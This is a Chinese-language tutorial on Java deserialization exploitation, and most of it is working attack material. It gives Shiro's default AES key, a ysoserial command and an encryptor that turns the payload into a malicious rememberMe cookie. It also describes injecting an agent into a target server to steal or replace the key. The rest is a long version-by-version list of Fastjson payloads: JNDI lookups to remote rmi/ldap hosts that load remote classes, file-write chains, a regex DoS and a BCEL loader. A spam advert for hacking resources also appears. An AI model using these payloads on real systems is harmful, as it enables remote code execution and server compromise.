JDK类库中的序列化API:
使用到JDK中关键类 ObjectOutputStream(对象输出流) 和ObjectInputStream(对象输入流)
ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。
ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。
目标对象实现 Serializable 接口
新建一个Users类,实现Serializable接口,并且生成版本号
package org.joychou.test;
import java.io.Serializable;
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
@Override
public String toString() {
return "Users{" +
"age=" + age +
", name='" + name + '\'' +
", sex='" + sex + '\'' +
'}';
}
}
serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集80条搜索语法
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
序列化和反序列化Person类对象
package org.joychou.test;
import java.io.*;
public class TestObjSerializeAndDeserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
TestObjSerializeAndDeserialize.SerializeUsers();
TestObjSerializeAndDeserialize.DeserializeUsers();
}
private static void SerializeUsers() throws IOException {
Users users = new Users();
users.setAge(20);
users.setName("Tom");
users.setSex("male");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser"));
objectOutputStream.writeObject(users);
System.out.println("序列化完成!");
objectOutputStream.close();
}
private static void DeserializeUsers() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser"));
Users users = (Users) objectInputStream.readObject();
System.out.println("反序列化完成");
System.out.println(users.toString());
}
}
Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下
Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms
Subject:代表当前的用户
SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心
Realms:SecurityManager的认证和授权需要使用Realm,Realm负责获取用户的权限和角色等信息,再返回给SecurityManager来进行判断,在配置 Shiro 的时候,我们必须指定至少一个Realm 来实现认证(authentication)和/或授权(authorization)
我们需要实现Realms的Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等
下面是自己实现的 Realm,这里我们实现了认证的方法
这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码
我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin那么就返回 AuthenticationInfo
AuthenticationInfo会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败
在Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。
由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==
Shiro主要检测思路有三种
第一种是使用yso下的URLDNS利用链进行检测
第二种是使用yso下cc利用链进行盲打,生成ping dnslog payload,如果key正确,dnslog会收到请求
前面两种思路都是使用dnslog进行测试,但是如果我们的目标不出网的情况下,只能使用CC链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是CC的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection的序列化对象(SimplePrincipalCollection),将我们的payload放进rememberMe里面,key正确情况下Set-Cookie不返回 deleteMe,key错误情况下Set-Cookie返回 deleteMe。
原理:
首先看一下为什么当key错误时,Set-Cookie会返回deleteMe。
找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class
,这个类主要是用来处理rememberMe的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals
这段代码中。
在118行设置断点
convertBytesToPrincipals
方法,跟进convertBytesToPrincipals
方法onRememberedPrincipalFailure
方法,继续跟进forgetIdentity
方法forgetIdentity
方法当中从subjectContext
对象获取request
和response
,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)
这个构造方法处理。forgetIdentity(HttpServletRequest request, HttpServletResponse response)
,看到一个removeFrom
方法。removeFrom
方法,发现了给我们的Cookie
增加deleteMe
字段的位置了deleteMe
,可以自行调试deserialize
方法进行反序列化,PrincipalCollection
是个接口所以我们需要构造一个继承PrincipalCollection
的序列化对象
Poc:
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
使用SpringBoot,Shiro-1.2.24搭建测试环境
因为yso中使用的是commons-beanutils-1.9.2,而shiro core中使用的是commons-beanutils1.8.3,我们使用改造后的ysoserial生成CommonsBeanutils_183的Gadget
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
package ysoserial.util;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class AESencode {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
发送生成的rememberMe Cookie,命令执行成功:
什么是java agent?
在JDK1.5以后,我们可以使用agent技术构建一个独立于应用程序的代理程序(即为Agent),用来协助监测、运行甚至替换其他JVM上的程序。Agent分为两种,一种是在主程序之前运行的Agent,一种是在主程序之后运行的Agent(前者的升级版,1.6以后提供)。
学习Java Agent除了可以做RASP
等产品,我们还可以做一些趣味性事情,比如我们可以使用Agent机制实现Java商业软件破解,我们常用的IntelliJ IDEA破解工具
就是使用Agent方式动态修改License类校验逻辑来实现破解的。
为什么要获取shiro的key?
使用demo环境进行测试:
上传AgentInjectTool到目标服务器,执行命令java -jar AgentInjectTool.jar list
,获取shiro环境启动的pid.
执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}
触发获取key操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能
修改shirokey原理:
通过Java Agent,我们可以hook想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改shiro的key需要调用内存中的AbstractRememberMeManager对象的setCipherKey方法,才能实现修改shiro的key的目的。
缺点:
由于已经用了新key,已登录的用户会话会失效,导致影响业务,慎重使用。
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
autotype功能:允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
AutoType黑名单机制
既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下
Fastjson 低版本 1.2.25-1.2.42明文黑名单。
如果请求包中的 json 如下:
{"name":"S", "age":21}
追加一个随机 key ,修改 json 为
{"name":"S", "age":21,"agsbdkjada__ss_d":123}
这里 fastjson 是不会报错的
Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:
{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
Fastjson < 1.2.60 在取不到值的时候会填充\u001a
,使用{"a:"\x
进行请求就会发生DOS
多版本payload
影响版本:fastjson<=1.2.24
exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.41
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
影响版本:fastjson<=1.2.42
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.43
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:fastjson<=1.2.45
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}
影响版本:fastjson<=1.2.47
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
影响版本:fastjson<=1.2.62
exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
影响版本:fastjson<=1.2.66
前提:autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
影响版本:fastjson<=1.2.68
JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在centos中,sun.rmi.server.MarshalOutputStream在win下是没有的
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
commons-io 2.0 - 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
jndi(需要出网)
BCEL(不出网利用。 需要注意在Java 8u251以后,bcel类被删除)
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
Poc:
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."